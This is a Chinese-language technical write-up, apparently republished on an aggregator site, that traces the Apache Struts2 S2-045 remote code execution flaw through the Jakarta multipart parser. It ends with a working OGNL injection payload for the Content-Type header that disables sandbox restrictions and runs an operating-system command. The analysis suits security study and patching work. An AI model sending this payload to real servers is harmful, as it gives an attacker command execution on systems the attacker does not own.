内容简介:S2-045,一个很经典的漏洞,和网上已经有的分析不同,我将整个漏洞的触发点和流程全都理了一遍,感觉收获良多,算是能自己说服自己的分析了。从漏洞简述中可以得知是struts在处理
作者:lucifaer
S2-045,一个很经典的漏洞,和网上已经有的分析不同,我将整个漏洞的触发点和流程全都理了一遍,感觉收获良多,算是能自己说服自己的分析了。
0x00 漏洞描述
Problem It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn’t valid an exception is thrown which is then used to display an error message to a user.
从漏洞简述中可以得知是struts在处理 Content-Type
时如果获得未期预的值的话,将会爆出一个异常,在此异常的处理中可能会造成RCE。同时在漏洞的描述中可以得知Struts2在使用基于 Jakarta Multipart
解析器来处理文件上传时,可能会造成RCE。
Jakarta Multipart
解析器在Struts2中存在于 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest
是默认组件之一,首先把这一点记录下来。
接下来看一下diff:
可以看到关键点在于首先判断 validation
是否为空,若为空的话则跳过处理。可见关键点在于对于 validation
的处理。
0x01 整体触发流程
MultiPartRequestWrapper$MultiPartRequestWrapper:86 # 处理requests请求 JakartaMultiPartRequest$parse:67 # 处理上传请求,捕捉上传异常 JakartaMultiPartRequest$processUpload:91 # 解析请求 JakartaMultiPartRequest$parseRequest:147 # 创建请求报文解析器,解析上传请求 JakartaMultiPartRequest$createRequestContext # 实例化报文解析器 FileUploadBase$parseRequest:334 # 处理符合multipart/form-data的流数据 FileUploadBase$FileItemIteratorImpl:945 # 抛出ContentType错误的异常,并把错误的ContentType添加到报错信息中 JakartaMultiPartRequest$parse:68 # 处理文件上传异常 AbstractMultiPartRequest$buildErrorMessage:102 # 构建错误信息 LocalizedMessage$LocalizedMessage:35 # 构造函数赋值 FileUploadInterceptor$intercept:264 # 进入文件上传处理流程,处理文件上传报错信息 LocalizedTextUtil$findText:391 # 查找本地化文本消息 LocalizedTextUtil$findText:573 # 获取默认消息 # 以下为ognl表达式的提取与执行过程 LocalizedTextUtil$getDefaultMessage:729 TextParseUtil$translateVariables:44 TextParseUtil$translateVariables:122 TextParseUtil$translateVariables:166 TextParser$evaluate:11 OgnlTextParser$evaluate:10
0x02 漏洞分析
2.1 漏洞触发点
根据diff所得结果,跟进 validation
的执行流程,就如漏洞描述中所述, validation
的调用位于Struts2的 FileUploadInterceptor
也就是处理文件上传的拦截器中。
跟进 LocalizedTextUtil.findText
:
这边先不着急向下跟,首先看一下 valueStack
的内容是什么:
通过键值关系从 ActionContext
中返回ognl的堆栈结构,也就是说 valueStack
和ognl的执行相关。
接下来跟进 findText
方法,着重跟一下 valueStack
,可以发现主要是以下方法调用到该值:
findMessage() getMessage() getDefaultMessage() ReflectionProviderFactory.getInstance().getRealTarget()
先不管 ReflectionProviderFactory.getInstance().getRealTarget()
, findMessage()
在执行过程中都会调用到 getMessage()
,而在 getMessage()
和 getDefaultMessage()
中都存在 buildMessageFormat()
方法,该方法用于消息的格式化,而格式化的消息是由 TextParseUtil.translateVariables()
来生成的:
这里注意 getMessage()
方法需要设置 bundleName
这个参数,而这个参数是由 aClass
赋值的,而在整个触发流程中 aClass
是一个 File
异常类,而这个类在 Collections.java
中是找不到的,所以在执行过程中,所有的 getMessage()
和 findMessage()
都是返回 null
的,也就是说,在整个流程中,只有 getDefaultMessage()
会被触发。
跟一下这个 TextParseUtil.translateVariables()
的具体实现:
可以看到首先对 defaultMessage
进行ognl表达式的提取,之后执行ognl表达式。所以漏洞的触发点就找到了。且触发的关键是构造一个含有ognl表达式的 defaultMessage
即:
2.2 触发流程
网上很多文章并没有说该漏洞的触发流程是什么样的,只是在上面的关键点下了一个断向下调试,所以只是完成了对这个流程的调试而已,并没有完整的把这个漏洞说清楚的原因(浮躁的圈子= =)。
我记录一下我 根据单元测试 而找到触发流程的过程。
根据2.1的分析,我们现在知道只要调用了 org.apache.struts2.interceptor.FileUploadInterceptor$intercept
且 request
触发错误处理流程,且 validation
不为空就可以触发ognl表达式的执行。所以首先我开始寻找哪里调用了 intercept()
这个方法:
如上图红框的内容,我找到了针对于 FileUploadInterceptor
的单元测试,在单元测试中详尽的描述了 intercept()
的处理流程,跟进看一下我找到了一个有趣的单元测试 testInvalidContentTypeMultipartRequest()
:
还记得我们的 intercept
的处理流程么:
也就是说我们需要关心的只有 MyFileupAction()与request的处理流程 。
首先来看一下 MyFileupAction()
是否是 ValidationAware
接口的一个实例:
ok,是 ValidationAware
一个实现, getAction()
方法将 setAction()
设置的对象返回。接下来我们跟一下 req
的处理流程:
-> createMultipartRequest(req, 2000) -> new MultiPartRequestWrapper(jak, req, tempDir.getAbsolutePath(), new DefaultLocaleProvider()) -> this(multiPartRequest, request, saveDir, provider, false);
关键点在于 multi.parse(request, saveDir);
根据调用栈,可以看到这里是调用了 JakartaMultiPartRequest
实例的 parse()
方法:
这里注意会捕获 FileUploadException
异常。
接着跟进 processUpload()
方法:
继续跟进:
首先看 createRequestContext()
对于请求做了哪些处理:
返回了一个实例化的 RequestContext()
,记住该实例有四个内置的方法:
- getCharacterEncoding()
- getContentType()
- getContentLength()
- getInputStream()
接着跟进 parseRequest()
:
跟进 getItemIterator()
:
继续跟进:
这一段代码首先调用了 RequestContext
实例的 getContentType()
方法,该方法就像上面调用栈中所看到的一样,会返回请求的 ContentType
字段,然后做一个存在性校验,校验 ContentType
是否为空或并非以 multipart
开头,如果上述条件成立,则抛出一个错误,并把错误的 ContentType
加入到报错信息中。这里的 InvalidContentTypeException
类是继承于 FileUploadException
的,也就是说会抛出一个 FileUploadException
的错误。
反过来看 JakartaMultiPartRequest
的异常捕获逻辑:
很有意思,我们直接跟进 buildErrorMessage
看一下:
可以看到在这里,我们将包含着我们可以自定义的 ContentType
赋值给 defaultMessage
回看2.1所说的漏洞触发点,这里就是我们发送请求将ognl传递到漏洞触发点的 defaultMessage
:
拆分消息中的ognl表达式,并执行:
0x03 构造POC
根据上面的分析,我们可以看到构造POC的关键是在发送的请求中构造一个含有ongl表达式的 ContentType
。较为通用的一个poc如下:
"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='open /Applications/Calculator.app').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
效果如下:
0x04 Reference
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 使用动态分析技术分析 Java
- 使用动态分析技术分析 Java
- 案例分析:如何进行需求分析?
- 深度分析ConcurrentHashMap原理分析
- 如何分析“数据分析师”的岗位?
- EOS源码分析(3)案例分析
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Python金融衍生品大数据分析:建模、模拟、校准与对冲
【德】Yves Hilpisch(伊夫·希尔皮斯科) / 蔡立耑 / 电子工业出版社 / 2017-8 / 99.00
Python 在衍生工具分析领域占据重要地位,使机构能够快速、有效地提供定价、交易及风险管理的结果。《Python金融衍生品大数据分析:建模、模拟、校准与对冲》精心介绍了有效定价期权的四个领域:基于巿场定价的过程、完善的巿场模型、数值方法及技术。书中的内容分为三个部分。第一部分着眼于影响股指期权价值的风险,以及股票和利率的相关实证发现。第二部分包括套利定价理论、离散及连续时间的风险中性定价,并介绍......一起来看看 《Python金融衍生品大数据分析:建模、模拟、校准与对冲》 这本书的介绍吧!